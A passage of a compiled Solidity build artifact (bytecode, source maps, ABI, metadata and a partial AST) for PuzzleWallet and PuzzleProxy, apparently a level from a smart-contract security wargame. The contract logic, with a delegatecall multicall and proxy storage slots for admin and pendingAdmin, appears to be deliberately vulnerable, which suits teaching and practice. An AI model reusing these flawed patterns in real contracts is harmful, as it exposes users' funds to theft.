156108f2575f80fd5b6108fb8561081e565b935060208501359250604085013567ffffffffffffffff8082111561091e575f80fd5b818701915087601f830112610931575f80fd5b81358181111561093f575f80fd5b886020828501011115610950575f80fd5b95989497505060200194505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610988575f80fd5b83018035915067ffffffffffffffff8211156109a2575f80fd5b6020019150368190038213156109b6575f80fd5b9250929050565b818382375f9101908152919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156109f3576109f36109cc565b92915050565b808201808211156109f3576109f36109cc56fea26469706673582212204a37ec8db90e9291144416a71f631fa008581c61934653fce5bf14a61bcb763464736f6c63430008180033","sourceMap":"970:2019:101:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100ad575f3560e01c8063b61d27f611610066578063d0e30db01161004c578063d0e30db0146101a0578063d936547e146101a8578063e43252d7146101e6575f80fd5b8063b61d27f61461016e578063b7b0422d14610181575f80fd5b80638da5cb5b116100965780638da5cb5b146101045780639d51d9b71461013a578063ac9650d81461015b575f80fd5b806327e235e3146100b157806373ad468a146100ef575b5f80fd5b3480156100bc575f80fd5b506100dc6100cb366004610839565b60036020525f908152604090205481565b6040519081526020015b60405180910390f35b3480156100fa575f80fd5b506100dc60015481565b34801561010f575f80fd5b505f54610122906001600160a01b031681565b6040516001600160a01b0390911681526020016100e6565b348015610145575f80fd5b50610159610154366004610859565b610205565b005b610159610169366004610870565b6102ad565b61015961017c3660046108df565b6104d7565b34801561018c575f80fd5b5061015961019b366004610859565b61065d565b6101596106db565b3480156101b3575f80fd5b506101d66101c2366004610839565b60026020525f908152604090205460ff1681565b60405190151581526020016100e6565b3480156101f1575f80fd5b50610159610200366004610839565b6107a2565b335f9081526002602052604090205460ff1661025a5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b60448201526064015b60405180910390fd5b47156102a85760405162461bcd60e51b815260206004820152601960248201527f436f6e74726163742062616c616e6365206973206e6f742030000000000000006044820152606401610251565b600155565b335f9081526002602052604090205460ff166102fd5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b5f805b828110156104d1575f84848381811061031b5761031b61095f565b905060200281019061032d9190610973565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050506020820151919250507f2f1cf250000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016104045783156103ff5760405162461bcd60e51b815260206004820152601f60248201527f4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365006044820152606401610251565b600193505b5f308787868181106104185761041861095f565b905060200281019061042a9190610973565b6040516104389291906109bd565b5f60405180830381855af49150503d805f8114610470576040519150601f19603f3d011682016040523d82523d5f602084013e610475565b606091505b50509050806104c65760405162461bcd60e51b815260206004820152601b60248201527f4572726f72207768696c652064656c65676174696e672063616c6c00000000006044820152606401610251565b505050600101610300565b50505050565b335f9081526002602052604090205460ff166105275760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b335f908152600360205260409020548311156105855760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610251565b335f90815260036020526040812080548592906105a39084906109e0565b925050819055505f846001600160a01b03168484846040516105c69291906109bd565b5f6040518083038185875af1925050503d805f8114610600576040519150601f19603f3d011682016040523d82523d5f602084013e610605565b606091505b50509050806106565760405162461bcd60e51b815260206004820152601060248201527f457865637574696f6e206661696c6564000000000000000000000000000000006044820152606401610251565b5050505050565b600154156106ad5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610251565b6001555f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b335f9081526002602052604090205460ff1661072b5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b60015447111561077d5760405162461bcd60e51b815260206004820152601360248201527f4d61782062616c616e63652072656163686564000000000000000000000000006044820152606401610251565b335f908152600360205260408120805434929061079b9084906109f9565b9091555050565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260206004820152600d60248201527f4e6f7420746865206f776e6572000000000000000000000000000000000000006044820152606401610251565b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b80356001600160a01b0381168114610834575f80fd5b919050565b5f60208284031215610849575f80fd5b6108528261081e565b9392505050565b5f60208284031215610869575f80fd5b5035919050565b5f8060208385031215610881575f80fd5b823567ffffffffffffffff80821115610898575f80fd5b818501915085601f8301126108ab575f80fd5b8135818111156108b9575f80fd5b8660208260051b85010111156108cd575f80fd5b60209290920196919550909350505050565b5f805f80606085870312156108f2575f80fd5b6108fb8561081e565b935060208501359250604085013567ffffffffffffffff8082111561091e575f80fd5b818701915087601f830112610931575f80fd5b81358181111561093f575f80fd5b886020828501011115610950575f80fd5b95989497505060200194505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610988575f80fd5b83018035915067ffffffffffffffff8211156109a2575f80fd5b6020019150368190038213156109b6575f80fd5b9250929050565b818382375f9101908152919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156109f3576109f36109cc565b92915050565b808201808211156109f3576109f36109cc56fea26469706673582212204a37ec8db90e9291144416a71f631fa008581c61934653fce5bf14a61bcb763464736f6c63430008180033","sourceMap":"970:2019:101:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1104:43;;;;;;;;;;-1:-1:-1;1104:43:101;;;;;:::i;:::-;;;;;;;;;;;;;;;;;552:25:155;;;540:2;525:18;1104:43:101;;;;;;;;1024:25;;;;;;;;;;;;;;;;998:20;;;;;;;;;;-1:-1:-1;998:20:101;;;;-1:-1:-1;;;;;998:20:101;;;;;;-1:-1:-1;;;;;752:55:155;;;734:74;;722:2;707:18;998:20:101;588:226:155;1440:184:101;;;;;;;;;;-1:-1:-1;1440:184:101;;;;;:::i;:::-;;:::i;:::-;;2287:700;;;;;;:::i;:::-;;:::i;1964:317::-;;;;;;:::i;:::-;;:::i;1154:168::-;;;;;;;;;;-1:-1:-1;1154:168:101;;;;;:::i;:::-;;:::i;1779:179::-;;;:::i;1055:43::-;;;;;;;;;;-1:-1:-1;1055:43:101;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2538:14:155;;2531:22;2513:41;;2501:2;2486:18;1055:43:101;2373:187:155;1630:143:101;;;;;;;;;;-1:-1:-1;1630:143:101;;;;;:::i;:::-;;:::i;1440:184::-;1385:10;1373:23;;;;:11;:23;;;;;;;;1365:51;;;;-1:-1:-1;;;1365:51:101;;2767:2:155;1365:51:101;;;2749:21:155;2806:2;2786:18;;;2779:30;-1:-1:-1;;;2825:18:155;;;2818:45;2880:18;;1365:51:101;;;;;;;;;1527:21:::1;:26:::0;1519:64:::1;;;::::0;-1:-1:-1;;;1519:64:101;;3111:2:155;1519:64:101::1;::::0;::::1;3093:21:155::0;3150:2;3130:18;;;3123:30;3189:27;3169:18;;;3162:55;3234:18;;1519:64:101::1;2909:349:155::0;1519:64:101::1;1593:10;:24:::0;1440:184::o;2287:700::-;1385:10;1373:23;;;;:11;:23;;;;;;;;1365:51;;;;-1:-1:-1;;;1365:51:101;;2767:2:155;1365:51:101;;;2749:21:155;2806:2;2786:18;;;2779:30;-1:-1:-1;;;2825:18:155;;;2818:45;2880:18;;1365:51:101;2565:339:155;1365:51:101;2372:18:::1;2413:9:::0;2408:573:::1;2428:15:::0;;::::1;2408:573;;;2464:18;2485:4;;2490:1;2485:7;;;;;;;:::i;:::-;;;;;;;;;;;;:::i;:::-;2464:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;::::0;;;;-1:-1:-1;;;2591:2:101::1;2580:14:::0;::::1;2574:21:::0;2464:28;;-1:-1:-1;;2626:33:101;;;::::1;::::0;2622:221:::1;;2688:13;2687:14;2679:58;;;::::0;-1:-1:-1;;;2679:58:101;;4180:2:155;2679:58:101::1;::::0;::::1;4162:21:155::0;4219:2;4199:18;;;4192:30;4258:33;4238:18;;;4231:61;4309:18;;2679:58:101::1;3978:355:155::0;2679:58:101::1;2824:4;2808:20;;2622:221;2857:12;2882:4;2901::::0;;2906:1;2901:7;;::::1;;;;;:::i;:::-;;;;;;;;;;;;:::i;:::-;2874:35;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2856:53;;;2931:7;2923:47;;;::::0;-1:-1:-1;;;2923:47:101;;4816:2:155;2923:47:101::1;::::0;::::1;4798:21:155::0;4855:2;4835:18;;;4828:30;4894:29;4874:18;;;4867:57;4941:18;;2923:47:101::1;4614:351:155::0;2923:47:101::1;-1:-1:-1::0;;;2445:3:101::1;;2408:573;;;;2362:625;2287:700:::0;;:::o;1964:317::-;1385:10;1373:23;;;;:11;:23;;;;;;;;1365:51;;;;-1:-1:-1;;;1365:51:101;;2767:2:155;1365:51:101;;;2749:21:155;2806:2;2786:18;;;2779:30;-1:-1:-1;;;2825:18:155;;;2818:45;2880:18;;1365:51:101;2565:339:155;1365:51:101;2089:10:::1;2080:20;::::0;;;:8:::1;:20;::::0;;;;;:29;-1:-1:-1;2080:29:101::1;2072:62;;;::::0;-1:-1:-1;;;2072:62:101;;5172:2:155;2072:62:101::1;::::0;::::1;5154:21:155::0;5211:2;5191:18;;;5184:30;5250:22;5230:18;;;5223:50;5290:18;;2072:62:101::1;4970:344:155::0;2072:62:101::1;2153:10;2144:20;::::0;;;:8:::1;:20;::::0;;;;:29;;2168:5;;2144:20;:29:::1;::::0;2168:5;;2144:29:::1;:::i;:::-;;;;;;;;2184:12;2201:2;-1:-1:-1::0;;;;;2201:7:101::1;2216:5;2223:4;;2201:27;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2183:45;;;2246:7;2238:36;;;::::0;-1:-1:-1;;;2238:36:101;;5843:2:155;2238:36:101::1;::::0;::::1;5825:21:155::0;5882:2;5862:18;;;5855:30;5921:18;5901;;;5894:46;5957:18;;2238:36:101::1;5641:340:155::0;2238:36:101::1;2062:219;1964:317:::0;;;;:::o;1154:168::-;1214:10;;:15;1206:47;;;;-1:-1:-1;;;1206:47:101;;6188:2:155;1206:47:101;;;6170:21:155;6227:2;6207:18;;;6200:30;6266:21;6246:18;;;6239:49;6305:18;;1206:47:101;5986:343:155;1206:47:101;1263:10;:24;1297:5;:18;;;;1305:10;1297:18;;;1154:168::o;1779:179::-;1385:10;1373:23;;;;:11;:23;;;;;;;;1365:51;;;;-1:-1:-1;;;1365:51:101;;2767:2:155;1365:51:101;;;2749:21:155;2806:2;2786:18;;;2779:30;-1:-1:-1;;;2825:18:155;;;2818:45;2880:18;;1365:51:101;2565:339:155;1365:51:101;1874:10:::1;;1849:21;:35;;1841:67;;;::::0;-1:-1:-1;;;1841:67:101;;6536:2:155;1841:67:101::1;::::0;::::1;6518:21:155::0;6575:2;6555:18;;;6548:30;6614:21;6594:18;;;6587:49;6653:18;;1841:67:101::1;6334:343:155::0;1841:67:101::1;1927:10;1918:20;::::0;;;:8:::1;:20;::::0;;;;:33;;1942:9:::1;::::0;1918:20;:33:::1;::::0;1942:9;;1918:33:::1;:::i;:::-;::::0;;;-1:-1:-1;;1779:179:101:o;1630:143::-;1709:5;;-1:-1:-1;;;;;1709:5:101;1695:10;:19;1687:45;;;;-1:-1:-1;;;1687:45:101;;7014:2:155;1687:45:101;;;6996:21:155;7053:2;7033:18;;;7026:30;7092:15;7072:18;;;7065:43;7125:18;;1687:45:101;6812:337:155;1687:45:101;-1:-1:-1;;;;;1742:17:101;;;;;:11;:17;;;;;:24;;-1:-1:-1;;1742:24:101;1762:4;1742:24;;;1630:143::o;14:196:155:-;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:186::-;274:6;327:2;315:9;306:7;302:23;298:32;295:52;;;343:1;340;333:12;295:52;366:29;385:9;366:29;:::i;:::-;356:39;215:186;-1:-1:-1;;;215:186:155:o;819:180::-;878:6;931:2;919:9;910:7;906:23;902:32;899:52;;;947:1;944;937:12;899:52;-1:-1:-1;970:23:155;;819:180;-1:-1:-1;819:180:155:o;1004:626::-;1101:6;1109;1162:2;1150:9;1141:7;1137:23;1133:32;1130:52;;;1178:1;1175;1168:12;1130:52;1218:9;1205:23;1247:18;1288:2;1280:6;1277:14;1274:34;;;1304:1;1301;1294:12;1274:34;1342:6;1331:9;1327:22;1317:32;;1387:7;1380:4;1376:2;1372:13;1368:27;1358:55;;1409:1;1406;1399:12;1358:55;1449:2;1436:16;1475:2;1467:6;1464:14;1461:34;;;1491:1;1488;1481:12;1461:34;1544:7;1539:2;1529:6;1526:1;1522:14;1518:2;1514:23;1510:32;1507:45;1504:65;;;1565:1;1562;1555:12;1504:65;1596:2;1588:11;;;;;1618:6;;-1:-1:-1;1004:626:155;;-1:-1:-1;;;;1004:626:155:o;1635:733::-;1723:6;1731;1739;1747;1800:2;1788:9;1779:7;1775:23;1771:32;1768:52;;;1816:1;1813;1806:12;1768:52;1839:29;1858:9;1839:29;:::i;:::-;1829:39;;1915:2;1904:9;1900:18;1887:32;1877:42;;1970:2;1959:9;1955:18;1942:32;1993:18;2034:2;2026:6;2023:14;2020:34;;;2050:1;2047;2040:12;2020:34;2088:6;2077:9;2073:22;2063:32;;2133:7;2126:4;2122:2;2118:13;2114:27;2104:55;;2155:1;2152;2145:12;2104:55;2195:2;2182:16;2221:2;2213:6;2210:14;2207:34;;;2237:1;2234;2227:12;2207:34;2282:7;2277:2;2268:6;2264:2;2260:15;2256:24;2253:37;2250:57;;;2303:1;2300;2293:12;2250:57;1635:733;;;;-1:-1:-1;;2334:2:155;2326:11;;-1:-1:-1;;;1635:733:155:o;3263:184::-;-1:-1:-1;;;3312:1:155;3305:88;3412:4;3409:1;3402:15;3436:4;3433:1;3426:15;3452:521;3529:4;3535:6;3595:11;3582:25;3689:2;3685:7;3674:8;3658:14;3654:29;3650:43;3630:18;3626:68;3616:96;;3708:1;3705;3698:12;3616:96;3735:33;;3787:20;;;-1:-1:-1;3830:18:155;3819:30;;3816:50;;;3862:1;3859;3852:12;3816:50;3895:4;3883:17;;-1:-1:-1;3926:14:155;3922:27;;;3912:38;;3909:58;;;3963:1;3960;3953:12;3909:58;3452:521;;;;;:::o;4338:271::-;4521:6;4513;4508:3;4495:33;4477:3;4547:16;;4572:13;;;4547:16;4338:271;-1:-1:-1;4338:271:155:o;5319:184::-;-1:-1:-1;;;5368:1:155;5361:88;5468:4;5465:1;5458:15;5492:4;5489:1;5482:15;5508:128;5575:9;;;5596:11;;;5593:37;;;5610:18;;:::i;:::-;5508:128;;;;:::o;6682:125::-;6747:9;;;6768:10;;;6765:36;;;6781:18;;:::i","linkReferences":{}},"methodIdentifiers":{"addToWhitelist(address)":"e43252d7","balances(address)":"27e235e3","deposit()":"d0e30db0","execute(address,uint256,bytes)":"b61d27f6","init(uint256)":"b7b0422d","maxBalance()":"73ad468a","multicall(bytes[])":"ac9650d8","owner()":"8da5cb5b","setMaxBalance(uint256)":"9d51d9b7","whitelisted(address)":"d936547e"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"addToWhitelist\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"deposit\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"execute\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_maxBalance\",\"type\":\"uint256\"}],\"name\":\"init\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"maxBalance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes[]\",\"name\":\"data\",\"type\":\"bytes[]\"}],\"name\":\"multicall\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_maxBalance\",\"type\":\"uint256\"}],\"name\":\"setMaxBalance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"whitelisted\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/PuzzleWallet.sol\":\"PuzzleWallet\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/helpers/UpgradeableProxy-08.sol\":{\"keccak256\":\"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1\",\"dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt\"]},\"src/levels/PuzzleWallet.sol\":{\"keccak256\":\"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430\",\"dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"addToWhitelist"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"payable","type":"function","name":"deposit"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"execute"},{"inputs":[{"internalType":"uint256","name":"_maxBalance","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"init"},{"inputs":[],"stateMutability":"view","type":"function","name":"maxBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"stateMutability":"payable","type":"function","name":"multicall"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"_maxBalance","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"setMaxBalance"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"whitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/PuzzleWallet.sol":"PuzzleWallet"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/helpers/UpgradeableProxy-08.sol":{"keccak256":"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb","urls":["bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1","dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt"],"license":"MIT"},"src/levels/PuzzleWallet.sol":{"keccak256":"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f","urls":["bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430","dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/PuzzleWallet.sol","id":54598,"exportedSymbols":{"Address":[48259],"Proxy":[47117],"PuzzleProxy":[54369],"PuzzleWallet":[54597],"UpgradeableProxy":[50095]},"nodeType":"SourceUnit","src":"32:2958:101","nodes":[{"id":54289,"nodeType":"PragmaDirective","src":"32:23:101","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54290,"nodeType":"PragmaDirective","src":"56:33:101","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":54291,"nodeType":"ImportDirective","src":"91:44:101","nodes":[],"absolutePath":"src/helpers/UpgradeableProxy-08.sol","file":"../helpers/UpgradeableProxy-08.sol","nameLocation":"-1:-1:-1","scope":54598,"sourceUnit":50096,"symbolAliases":[],"unitAlias":""},{"id":54369,"nodeType":"ContractDefinition","src":"137:831:101","nodes":[{"id":54295,"nodeType":"VariableDeclaration","src":"184:27:101","nodes":[],"constant":false,"functionSelector":"26782247","mutability":"mutable","name":"pendingAdmin","nameLocation":"199:12:101","scope":54369,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54294,"name":"address","nodeType":"ElementaryTypeName","src":"184:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":54297,"nodeType":"VariableDeclaration","src":"217:20:101","nodes":[],"constant":false,"functionSelector":"f851a440","mutability":"mutable","name":"admin","nameLocation":"232:5:101","scope":54369,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54296,"name":"address","nodeType":"ElementaryTypeName","src":"217:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":54315,"nodeType":"FunctionDefinition","src":"244:165:101","nodes":[],"body":{"id":54314,"nodeType":"Block","src":"378:31:101","nodes":[],"statements":[{"expression":{"id":54312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54310,"name":"admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54297,"src":"388:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54311,"name":"_admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54299,"src":"396:6:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"388:14:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54313,"nodeType":"ExpressionStatement","src":"388:14:101"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":54306,"name":"_implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54301,"src":"346:15:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":54307,"name":"_initData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54303,"src":"363:9:101","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":54308,"kind":"baseConstructorSpecifier","modifierName":{"id":54305,"name":"UpgradeableProxy","nameLocations":["329:16:101"],"nodeType":"IdentifierPath","referencedDeclaration":50095,"src":"329:16:101"},"nodeType":"ModifierInvocation","src":"329:44:101"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54299,"mutability":"mutable","name":"_admin","nameLocation":"264:6:101","nodeType":"VariableDeclaration","scope":54315,"src":"256:14:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54298,"name":"address","nodeType":"ElementaryTypeName","src":"256:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54301,"mutability":"mutable","name":"_implementation","nameLocation":"280:15:101","nodeType":"VariableDeclaration","scope":54315,"src":"272:23:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54300,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54303,"mutability":"mutable","name":"_initData","nameLocation":"310:9:101","nodeType":"VariableDeclaration","scope":54315,"src":"297:22:101","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":54302,"name":"bytes","nodeType":"ElementaryTypeName","src":"297:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"255:65:101"},"returnParameters":{"id":54309,"nodeType":"ParameterList","parameters":[],"src":"378:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54327,"nodeType":"ModifierDefinition","src":"415:104:101","nodes":[],"body":{"id":54326,"nodeType":"Block","src":"436:83:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54321,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54318,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"454:3:101","typeDescriptions":{"typeIdentifier":"